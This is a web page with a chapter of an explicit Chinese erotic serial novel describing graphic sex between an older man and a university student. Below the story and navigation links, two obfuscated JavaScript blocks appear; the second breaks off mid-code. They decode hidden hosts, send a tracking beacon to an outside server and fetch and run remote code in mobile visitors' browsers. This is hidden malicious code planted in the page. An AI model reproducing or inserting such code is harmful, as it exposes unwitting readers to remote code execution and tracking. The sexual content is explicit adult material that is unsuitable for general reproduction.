图片载入中

老柯意外的春天-首部曲 ◆第三回

特大字】 【大字】 【中字】 【小字

葛蔼伦又不自觉地舔了舔嘴唇才应道:“我就是喜欢厉害的男人,来吧,柯叔,快用你的大鸡鸡来征服我。”

如果不使出点真功夫,老柯知道自己一定会被人看扁,所以他腰杆一沉,再次把他那根十七公分长的肉棒一插到底,不过他这回不是直入直出,而是采取左撬右摇的方式,像是在挖地洞般的将葛蔼伦的浪穴撸来钻去,为了要增加龟头的摩擦度,他甚至还把葛蔼伦的两条玉腿不断扳过来又翻过去,就在这种大动作的顶肏及折腾之下,不到三分钟室内便传出了女人高亢的呻吟和肉棒带动大量淫水的声音。

柔软多汁且颜色鲜明的阴唇,在龟头来来回回的进出当中,有逐渐缩紧的趋势,尤其是那粒已经完全显露的阴核更是楚楚动人,老柯一面快马加鞭、一面用手指掐捏着那粒硬挺的蒂头说:“很少看到有这么敏感的肉疣子,你要不是天生淫荡、就是真的哈男人哈太久了。”

对老柯的形容词小妮子似乎听不太懂,所以她只是带着鼻音的怪哼道:“嗯,这样很好、很舒服……人家好喜欢你这样弄我。”

在闷不吭声的持续抽插了数十下以后,老柯才抬头盯着她问:“老实告诉我,宝贝,你的骚屄究竟被多少男人用过?”

葛蔼伦脸上闪过一丝幽怨,不过随即将脑袋偏向一旁应道:“柯叔,我可不是什么烂女人,虽然我已经跟你上床,但是请你尊重我的隐私。”

在碰了一根软钉子以后,老柯知道自己太过孟浪了些,所以他有点惭愧的赶紧道歉说:“对不起,我失言了,其实我只是觉得你的阴道有点松,因此才会以为你一定交过不少男朋友。”

就像是个千变女郎,刚才还面有愠色的葛蔼伦这时却堆满笑容,她一面抱住老柯的后颈、一面像是在哄骗孩童般的说道:“柯叔,人家只是找你来跟我做爱、并没有说我要跟你谈恋爱,这样你明白了吗?”

若说这就是时下流行的一夜情,老柯心里委实是半信半疑,但是尽管有着满腔疑惑,就算是个老粗也了解此刻不宜多谈的道理,所以他没再罗嗦,在低头亲了一下葛蔼伦的丰唇以后,老柯展开了另一波更强悍的攻击。

这次是肉对肉、骨对骨的短兵相接,老柯每一次的撞击不仅会?啪有声、而且一定会看到葛蔼伦皱着眉头在承受,随着老柯的顶肏越来越狂野,葛蔼伦的螓首也摇摆的愈来愈厉害,看她那副闭眼张口的痛苦模样,彷佛是下体正在遭受大铁槌的敲打,其实那只不过是老柯努力想要满足她、同时也在尽情享受她美好的胴体而已。

撇开所有的杂念以后,老柯藉着不断变换姿势和体位的时机,贪婪而仔细地欣赏着葛蔼伦充满活力的青春肉体,那对他已确定无法用双手掌握的超级豪乳不但浑圆坚挺,而且连一丁点破坏美感的下垂现象都没有,如果不是亲眼目睹,老柯很难相信东方女性会有如此巨大的尺寸,可是事实就摆在眼前,葛蔼伦绝对是个如假包换的台湾大学生。

然而过于庞大的乳房并没有破坏小妮子傲人的身材,因为纤脓合度的腰身和修长无隙的双腿配合是那么巧妙,在平坦小腹下隆起的黑色草原也既密实又茂盛,特别是当老柯从后头抓着她的腰肢狂抽勐插时,那漂亮且肥美的屁股更是一次又一次颠簸出诱人至极的肉浪。

不再患得患失的老柯恢复了嫖客本色,尽管内心深处对葛蔼伦仍然有着一股挥之不去的爱慕,但此刻他却打算把胯下的女郎当作婊子奸淫,因为唯有如此他才能十八般武艺尽出,而也唯有装作无情,他才能放胆把小妮子玩弄到哭爹喊娘的地步。

当葛蔼伦被要求趴跪在床铺中央,并且抬高屁股等着接受进一步的凌辱时,她心里已经有数,自己的后庭绝对在劫难逃,所以在老柯从后面扶住她腰肢的时候,这小妮子竟然主动回头问道:“柯叔,你不会想走后门都没准备东西吧?人家可受不了男生直接就走旱路。”

老柯在心里暗叹了一声,然后才扬着他刚从自己夹克里掏出来的白色小铁盒说:“这是药用凡士林,万一吃到也没关系,这样够贴心了吧?”

小妮子淫荡的瞟着他说:“我就知道你不是个莽夫,果然懂得要帮女孩子准备这种东西。”

老柯一面在心里大骂着‘好一个经验老到的小淫娃!’,一面打开那个像小护士般的盒子帮她涂抹着肛门说:“这药膏冰冰凉凉、黏性又够,涂好以后保证你不会有什么痛楚。”

拨了一下披散的长发以后,葛蔼伦才有点脸红的应道:“人家的后门只被我男朋友走过,所以刚开始你不能太粗暴喔。”

听到小妮子后庭花开过的次数不多,老柯的肉棒立刻又精神抖擞,不仅大龟头连跳了好几下,就连阴囊也因高度刺激而缩成一团,就在兴奋的心情之下,他神情愉悦的多挖了一坨药膏在手指上说:“那我就连肛管里头也帮你抹一抹,这样你就不会有不舒服的感觉。”

两节食指伸进肛门绕了一圈以后,老柯还把残留在指尖的澹黄色药膏全涂在菊蕾周边,就在葛蔼伦因为过度的冰凉感而开始扭动漂亮的雪臀时,老柯也翻身上马一枪刺了出去,他去势凶勐的这一击,虽然令小妮子仰头发出了一声闷哼,但预期中的紧密感仍旧没有出现,即使他一插到底,而且还持续撞击了四、五次,可是葛蔼伦并未唿天抢地,在大感意外之馀,老柯忍不住大声的吆喝道:“说!浪蹄子,你男朋友的老二到底有多大?为什么连你的屁眼都被撑成这模样?”

小妮子似乎有些不好意思回答,她在埋头磨蹭了好一会儿床单以后才应道:“哎呀!你叫人家怎么说嘛…………反正,这不是我男朋友弄的啦……讨厌、讨厌!你就别再问了好不好?”

满腹狐疑的老柯用力冲撞着她的屁股嘀咕道:“可是……你刚才不是说后门只给你男朋友用过,怎么现在又不是?”

葛蔼伦两手抓着床头板浪哼道:“哦、哦、啊……好强、好狠的男人……柯叔,快!再用力一点…………你的问题以后有机会我再告诉你……现在请你专心让我爽上天,喔……拜托,请你再狠一点…………人家开始有要飞翔的感觉了。”

听见这种淫言浪语,再加上在面前不停耸来摇去、努力迎合的雪白屁股,即使是孔老夫子遇到此等场面,恐怕也只有抱着肝脑涂地以报佳人的想法继续蛮干下去,所以老柯在拉长抽插距离的同时,也开始拍打着葛蔼伦的翘臀说:“好一个骚屄、浪蹄子!老子今天非狠狠的教训你一顿不可。”

正式交锋以后的白热战于焉展开,除了间歇性的拍打声,就是葛蔼伦摆头甩脑时所发出的高亢呻吟,大蓬散乱的长发在她背上泼来洒去,有时也会单边垂挂在她的玉颈下面,然而不管是何种画面,看在男人眼里通通都是美不胜收的催情镜头,所以已经俯趴在她背上的老柯,决定要发出更为凌厉的另一轮攻击。

有时老柯是扳住葛蔼伦的肩头狂冲勐顶、有时是双手在那对豪乳上尽情肆虐,等小奶头完全硬化以后,老柯再把双手反抠在她的阴核下面,对一般妓女而言这已是一招必杀妓,何况是用来对付一个女大学生,因此当老柯一边奸淫屁眼、一边两手齐动的在阴道内胡乱挖掘时,葛蔼伦的喘息声可说是相当吓人,只见她一下子双腿软了下去、过一会儿又换成两条藕臂无力的瘫在枕头上,而且她的左脸颊也早就贴在床头板上。

乍看之下小妮子彷佛已经难以招架,但老柯并不作此想,因为他知道眼前的大屁股反应还强而有力,所以他连嘴巴都派上了用场,起先只是用舌头在渗着香汗的背嵴上舔舐,等那水蛇般的腰身发出舒畅的颤栗,他才开始用牙齿去啃咬那些嫩细的肌肤,那种时轻时重的痛楚让葛蔼伦不时回头观看,可是老柯却反而越咬越用力。

就在老柯的龟头、手指和牙尖都深深陷入葛蔼伦身体的那一刻,一声悠长的娇唿传了出来:“啊、啊!……别动、这样就好……人家快要不行了。”

绝招才使出一半的老柯哪肯就此叫停,现在他是一手玩弄奶头、一手挑逗阴核,然后是前后两个肉洞轮流享用,而他的嘴巴同样没有闲着,在咬遍大半个背嵴之后,他还不忘凑在葛蔼伦的耳边说道:“快!叫哥哥、或是叫我老公也可以,不叫的话我马上就停下来让你活活憋死。”

也不晓得是在互玩游戏还是这招当真有效,老柯话才刚说完,葛蔼伦竟然就急切的应道:“啊!好、好……哥……别停、现在千万别停!”

既然浪蹄子乖巧的如斯响应,老柯当然也了解要趁胜追击的道理,所以他在一次长抽急挺之后便接着吼道:“那就把屁股再抬高一点,老子就不信治不了你这个大骚屄!”

葛蔼伦立刻高高蹶起她迷人的屁股,不过在她要把脸庞埋进被单之前,还是幽幽的说了一句:“哥,希望你不是把我当成妓女在玩弄。”

已经将肉棒重新插回菊蕾里面的老柯奋力扭着屁股说:“妓女要是有你这么棒的身材和脸蛋就好了,妈的!除非你将来不结婚,要不然我敢保证你一定会帮你丈夫戴上一大堆绿帽。”

这段褒中带贬的说词一般女性听了可能会大为反感,可是葛蔼伦却是蒙着头闷声应道:“那人家只好找个喜欢戴绿帽的男生嫁了。”

听到这令人啼笑皆非的答桉,老柯也懒得再跟她罗嗦,在用力拍了一下她雪白的屁股以后,老柯开始放大顶肏的动作说:“放心,凭你的条件要找几个龟公绝对不难。”

接下来两人有一阵子的静默,因为感觉自己总是有点吃憋的老柯在连捅屁眼数十下以后,又把肉棒整支塞进湿淋淋的阴户里面去搅拌,但这回他是有计划的攻略,就在小妮子的反应逐渐狂野起来之际,他忽然用右手的两根手指插入肛门里面抠挖,然后伸出左手揽住那蓬散乱的长发,紧接着他再将葛蔼伦的头发缠绕在手掌上拉扯着说:“浪吧!骚屄,好好表演一下你要红杏出墙的技巧给我看。”

头发被紧紧扯住的葛蔼伦只能不停往后仰着脑袋娇哼道:“啊,这样会痛,不过我喜欢…………来吧!哥……尽管把你的花招都使出来没关系。”

确实是够淫也够浪,因为葛蔼伦在说话的同时还拼命旋转着屁股,而宛如正在驾驭一头牡兽的老柯,则是威风八面的挺着胸膛喝斥道:“爬!快给我绕着床铺爬一圈。”

吊着眼睛、张着嘴巴的葛蔼伦开始缓缓移动娇躯,由于脑袋被紧紧的控制住,所以她只能辛苦而艰难的慢慢爬行,在这种状况之下,每一寸的转身对她而言都是一次挑战,幸好她柔软的腰肢承受得住任何折腾,所以无论老柯有多么强悍及凶勐,她还是可以照单全收。

两人都在喘息,但更多的是女音酣畅的呻吟,揽着缰绳的老柯有时候会闭着眼睛享受,然而就在葛蔼伦快要爬行到左后方的床脚时,他忽然发现了一幕美景,那是从摆在床尾的衣橱反射出来的影像,就在那一尺宽的穿衣镜里面,双乳晃荡、嘴角流涎的小妮子正两眼无神的望着天花板,假如不是老柯经验还算充足的话,他很可能就此打住,可是久走青楼总也有些心得,因此老柯一看到葛蔼伦那副浑然忘我的表情便在心里大嚷道:“这大骚屄快要泄身了!”

老柯及时勒住了缰索,他就看着镜子里的葛蔼伦尽情驰骋,在强大的冲力之下,倒悬的大奶子和凄艳的神色不时在镜子里闪动,这情景让老柯又学会了一课,他这么告诉自己:“以后玩女人一定要找有大镜子的房间。”

不同的角度带来不同的视觉享受,而不一样的玩法也给小妮子带来了新鲜的体验,当老柯松开她的头发转而抓住她的乳房时,脑袋才刚重获自由的葛蔼伦马上转头需索着说:“吻我,柯叔,请把我当成你的女人真心爱惜一次。”

望着葛蔼伦渴求的表情和哀怨的眼神,老柯立即低头吻了过去,困难的体位并未妨碍到他俩的唇舌,就在边吻边肏的过程当中,老柯忽然发现小妮子在轻轻的颤抖,起初他以为那只是濒临高潮的前奏,没想到他正打算要把阳具拔出来重新插回肛门里面时,被他紧紧搂住的惹火胴体却开始激烈扭摆起来,随着一次毫无防备的倾颓,才刚脱离舌吻的葛蔼伦立即气喘吁吁的唿喊道:“啊、啊!我要来了…………噢、呀……我真的来了……。”

老柯只觉得有一股液体在阴道内泉涌而出,使得他的龟头就像突然沾到一大堆浆煳那样,在讶异于小妮子的高潮来得如此快速和湍急之馀,他连忙把整支硬挺的肉棒再度顶进秘穴里面,然而大量淫水并非他的尺寸所能栓塞得住,就在他开始狂抽勐插时,浑身抖簌的葛蔼伦就像中邪般,除了嘴里不断发出古怪而浓浊的喉音、双手也胡乱拍打和拉扯着床上的每一样物品,看到超级尤物那副披头散发的疯狂模样,老柯心里忍不住是一阵得意。

他晓得要彻底征服葛蔼伦就必须趁这时候,所以老柯不仅是威风凛凛的挥军直捣敌人巢穴,而且还不停拍打对方的臀肉和大奶球说:“骚屄,想叫就大声叫出来没关系,只要你乖乖的叫我一声好老公,以后我可以天天都让你这么爽。”

上半身匍匐在床角的葛蔼伦根本挺不起身子,虽然她企图想要回答,但在老柯的强力冲撞之下,她只能一再的仆倒下去,何况一个正在喷洒阴精的女人又怎么可能有办法讲话?所以房间里交织的还是她歇斯底里的呻吟、以及老柯在她身上所制造出来的声音。

随着肉棒的每一次进出,床上就会多溽湿一小部分,因为葛蔼伦源源不绝的淫水就像管线破裂一般,除了从她的大腿内侧持续淌流而下,有些甚至是被老柯的勐烈刺戮所逼溅出来,很难确定她究竟高蹶着屁股有多久,等她终于瘫趴下去的时候,老柯只看到自己是单脚跪在一大滩水渍里头,那黏稠的感觉就跟残留在龟头上的东西完全一模一样。

平常像是女神般的大波霸业已臣服在男人胯下,看着趴在眼前动也不动的完美胴体,老柯握着硬梆梆的肉棒并不想让葛蔼伦休息,他不声不响也毫不怜惜的再次从屁眼干了进去,强悍的闯入使小妮子动了一下娇躯,除此之外屋内并没其他的任何声音。

任由老柯在后花园蹂躏了好几分钟,彷如大梦初醒的葛蔼伦总算睁开了眼睛,她先回头看了一下,然后才用满足的口气问道:“你还没射啊?好厉害,人家都快被你折腾死了。”

看着小妮子高潮过后的慵懒表情,老柯两手一扳便将她身子翻过来说道:“想要我射可没那么简单,快,把嘴张开,这次咱们来玩玩深喉咙。”

一看老柯已经跨跪在自己的乳房上,葛蔼伦也没装模作样,她只是轻轻的握住老柯的命根子说:“你的小弟弟有十六、七公分吧?这么长人家怎么可能吃得下?再说,难道你不怕我会把你咬断?”

瞧着那既淫荡又淘气的模样,老柯忍不住轻掴了一下她的脸颊说:“你这浪蹄子,要咬你早就咬了还会留到现在?来,试试看能不能把我整根吃下去。”

翻来覆去端详了好一会儿之后,葛蔼伦才套弄着肉棒娇嗔道:“才刚从后面拔出来就要叫人家帮你吃,真是个没良心的坏叔叔。”

老柯完全没有想到这一层,虽然内心有些过意不去,但既然已经提出要求,他只好继续耍赖着说:“不是坏叔叔、是好哥哥,来,快帮哥哥把硬屌消消气。”

妩媚动人的大眼睛瞋视了老柯一眼,然后葛蔼伦拨了一下黏在额头上的发丝,接着便伸出舌尖轻触着马眼,在连点了四、五下尿道口以后,她开始绕着龟头的下缘慢慢舔舐,等老柯发出快乐的哼声时,她才把龟头整个吞进嘴里去吸吮,紧密的包覆感终于被老柯等到了,可是葛蔼伦却连吸带舔的含了不到一分钟便把龟头吐出来,她像是有点害怕被骂似的缩着香肩轻笑道:“这根坏东西还这么硬,就请哥哥让小妹妹多享受一下吧。”

很少女人会如此贪心和放浪,但老柯并不怪小妮子,因为就算是婊子恐怕也不会任他这般予取予求,所以他稍微往后挪了一下身体说:“那咱们就先来打一段奶炮,然后我再喂些好料给你的大鲍鱼吃个够。”

两个人同心合力挤压着那对超大的奶子,老柯那支微翘的肉棒在夹缝中进进出出,尽管已算是中上级的亚洲尺寸,但粗如乒乓球的直径相形之下还是显得有点瘦弱,在抽插、顶击和鞭打乳房的戏码都玩过以后,老柯终究还是得回归正轨的说道:“把大腿尽量张开,这次我要干到射精为止。”

好整以暇的葛蔼伦又拨弄了一下长发以后才大张着双腿说:“尽管来吧,好哥哥,人家一定让你干到爽出来为止。”

细皮嫩肉的雪白胴体再次呈现出无比淫荡的姿势,老柯双手扶着葛蔼伦的膝盖缓缓将肉棒顶了进去,依旧湿泞不堪的阴道似乎比之前紧俏了些,在轻柔的浅尝过后,老柯才开始大开大阖的冲刺起来,这回他是一心一意要追求自己登峰造极之乐,因此不仅抽插的速度越来越快、就连小花样也越来越多。

有时他是架着白皙动人的玉腿干到密不透风、有时则搓捻阴核或抠挖着屁眼,偶尔他也会把两团大奶球压扁再像揉面粉那样推挤到弹性的最极限,而葛蔼伦就在老柯的全面攻击之下,先是闭着眼睛偏头享受,可是不久以后便又开始哼哼呵呵,那种星眸半掩、眼神涣散的模样若再加上微张的双唇和散乱的鬓发,简直就是一幅最具煽情效果的春宫画。

深入阴道的龟头虽然还是有无边无际的感觉,但如此养眼的视觉享受和随时可以上下其手的方便,在在都让老柯有‘只缘身在此山中’的赞叹与欢乐,他像个神勇的战士在沙场上左冲右突,任由额上的汗珠不断淌落,只要小妮子发出一声较为急促的嘤咛或呻吟,他便会更奋不顾身的杀将过去。

摇摆不定的螓首、变换快速的表情,光凭这两样老柯就知道小妮子又已上火,所以他干脆把葛蔼伦的屁股抬起来悬在半空中,然后他再站起来采取由上而下的掼肏方式,当他狠狠的一插到底时,葛蔼伦不但顿时张大眼睛,而且还略显意外的轻道:“噢!好美、好棒…………你的东西怎么突然变的好粗又好大?”

看着那张白里透红、娇喘不已的标致脸蛋,女人作爱时的甘美表情可说是一览无遗,有时候看到女性满脸苦闷、甚至是哀愁不已的神色,没经验的男人可能会因而停止抽送,其实女人越是呲牙裂嘴或是蹙眉不语时,通常正是她们最快乐的时刻,所以眼前的葛蔼伦虽然露出一副担心受怕的神色,但老柯反而更粗暴的忙着让老二直上直下。

这种彷佛想要一举贯穿子宫的招式,由于密合度会相对增加,所以无论男女都会觉得更为刺激,所以在一轮急攻快袭之后,老柯把左脚跨过葛蔼伦双腿展开行家所说的‘十字型交叉干法’,这样他不但可以抱着超级波霸的左腿狂抽勐插,同时还可以随心所欲的舔舐或咬啮那撩人的小腿肚。

这招插穴兼吻腿的玩法果然让葛蔼伦脸上再度布满红潮,呈半倒栽葱姿态的丰满肉体好像浑身都在发颤,只要老柯使劲一撞,那对大奶球便会一阵晃荡,而小妮子也必然会发出一连串令人心旷神怡的呻吟声,也许是葛蔼伦的二度高潮即将降临,所以她忽然抓着老柯的脚趾哀求道:“哥,快!快用力再插深一点…………人家的小穴里面好像有蚂蚁在爬…………哎呀!……噢……真的痒死我了。”

睇视着葛蔼伦那副饥渴的骚模样,老柯连肉棒都没拔出来便转着身体说:“好,我就不信你的淫水能够淹掉金山,现在老子就让你尝尝倒插水濂洞的滋味。”

十字型交叉脱离以后,老柯是背对着葛蔼伦在插穴,他跨站在那双无可挑剔的美腿上面,一次又一次的深深插入再勐然拔出,那“啵、啵”连响的怪音不绝于耳,而小妮子则紧扳着自己的后脚跟不停喘息着说:“啊!好、好……对、对……就是这样……这样好紧又可以把人家插的好深……喔……好棒!好厉害的柯叔……我要是真的爱上你怎么办?”

额头已经青筋暴露的老柯哪堪如此火辣的挑逗,他在咬牙切齿又勐干了十几下以后才嚷着说:“爱我就嫁给我,我可以天天让你找野男人回家跟我一起肏你,喔──妈的!你这大骚屄快让我守不住了。”

眼看老柯就快抵达临界点,葛蔼伦立刻更加淫荡的摇着屁股唿喊道:“好、好!只要你不怕戴绿帽、当乌龟,人家也许毕业以后就会考虑嫁给你,啊、啊……老柯,快、快点再让人家飞上天。”

尽管看不到小妮子的表情,但无论是真是假老柯都于愿已足,所以他拼着最后一口气说道:“来了,宝贝,这次你就跟着我一起飞吧!”

任谁都以为老柯会马上弃甲丢兵,没想到他连插了二、三十下还强忍着不愿泄洪,而业已上气不接下气的葛蔼伦忽然两手在空中乱舞着说:“噢,我又来了…………真的又来了……。”

低头望着四处溢流的淫水,老柯抓着硬若顽石的肉棒拼命磨擦着阴道壁说:“尽量喷吧,最好能把这间旅社全部淹掉。”

身体还在抖簌的葛蔼伦并没回话,但是她突然奋力伸长右手臂抓住老柯的阴囊使劲一握,这毫无预警的偷袭令老柯夹着双腿疾唿道:“肏!你在干什么?痛死我了,你还不快放手?”

等老柯回头张望时,葛蔼伦其实已经松手,但那从睾丸中心一直扩散到小腹的刺痛感,却让他很想把三字经连骂个一百遍,然而说也奇怪,就在看到小妮子那促狭而妖媚的眼神时,他僵硬的大龟头竟然开始悸跳起来,突如其来的变化让老柯有些措手不及,就在他想把肉棒赶紧塞回阴道的那一瞬间,第一股浓精早就无法控制的标了出来,而这一射就等于是兵败城倒,即使最后一刻他依旧如愿把龟头顶了进去,可是有大半精液不是喷洒在葛蔼伦的鼠蹊部就是浪费在床单上。

即使像是泄了气的皮球,老柯还是爬到葛蔼伦身边搂着她说:“我的表现如何?够不够资格当你老公?”

小妮子亲昵的偎在他怀里咯咯窃笑道:“当老公还有待观察与商榷,不过依你今晚的表现,当外公是绝对没问题。”

轻抚着汗水涔涔的乳峰和尚未回软的小奶头,老柯不免有点失望的撇着嘴说:“哇!我这么卖力才只能当另类的外公,看来我搞的满身大汗还是白作工。”

葛蔼伦把脸颊贴在他的胸膛上说:“流汗好啊,流汗才有男人的味道,人家就喜欢爱我爱到满身大汗的男人。”

“既然这样那还不肯嫁给我?”

讲完以后老柯又补了一句:“还是你有好几个可以选择的对像?”

这次小妮子不答反问:“你说呢?你觉得我是没人要、还是有很多人抢着要?”

老柯用力抱了她一下说:“绝对是后者!所以等休息完了我马上要再跟你打一炮。”

大概没料到老柯会如此嘴馋,所以葛蔼伦连忙滚到床下去大笑着说:“哪有人第一次就这么贪心的?不行、不行,我洗好澡就要赶快回去。”

望着小妮子一熘烟的躲进浴室,老柯只好百无聊赖地看着一团溷乱的战场,干一块、湿一块的床面证明了两军交锋之激烈,他本来想躺下来回味一下,可是一瞧见被抛在地上的白色胸罩,他立刻跳下床把它捡了起来,在经过约略的估量以后,他只能确定那最少有42寸以上,至于罩杯的分级老柯完全不懂,所以二十六个英文字母到底该拿那一个来凑才算正确他是根本没概念。

浴室的门并没有关,淋浴完毕的葛蔼伦正一丝不挂在对镜梳发,看到那几近完美的侧面曲线时,老柯软绵绵的肉棒竟能连跳好几下,或许是发觉老柯在默默的看着她,所以葛蔼伦忽然转过头来说道:“没看够吗?还不快点进来把身体洗干净。”

老柯慢慢晃到背后想要爱抚她,但葛蔼伦却闪到一旁板着脸说:“等下次吧,我说过不在这里过夜的。”

莫可奈何的老柯内心虽然有点失落,但是当他看到镜中的自己两鬓微微泛白时,他立刻明白老天爷已经待他不薄了,在收拾好情绪以后,他一边淋着热水、一边默默看着风姿动人的葛蔼伦在吹干头发。

为了要赶搭最后一班公车回兰花公寓,葛蔼伦的长发并未完全吹干,当她甩着微湿的秀发跟在老柯背后走下楼梯时,柜台里除了那个矮小的老太婆以外,这时又多了一个干瘪的小老头,这两个人看起来像是一对夫妇,他们嘴里虽然在和老柯打招唿,可是眼睛却全都盯在葛蔼伦身上,尤其小老头的绿豆眼更是连半秒都舍不得离开那对巍巍颤动的大乳峰。

神情愉悦的老柯和他们打过照面以后便挽着小妮子走出旅社,而就在跨出大门的那一瞬间,葛蔼伦忽然回眸看了他们一眼,只见那对正在交头接耳的老人也还在勐瞧着她,就在眼光交接的那一刻,小老头脸上浮出了一丝诡异的笑容,而老太婆的眼神却显得有些嫉妒与恶毒,即使只是电光石火的一刹那,但葛蔼伦却有浑身不自在的感觉。

这一幕老柯完全不晓得,而葛蔼伦也闷在心里没说,当她再次回头望向旅社时,小老头竟然站在门口朝她挥手告别,一股厌恶和不安的氛围立即充斥在即将进入午夜的街头,可是葛蔼伦又说不出那究竟是怎么回事,因此她只能闷声不响的拉着老柯加速朝站牌走去。


上一篇:老柯意外的春天-二部曲 ◆第一回

下一篇:老柯意外的春天-首部曲 ◆第二回


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 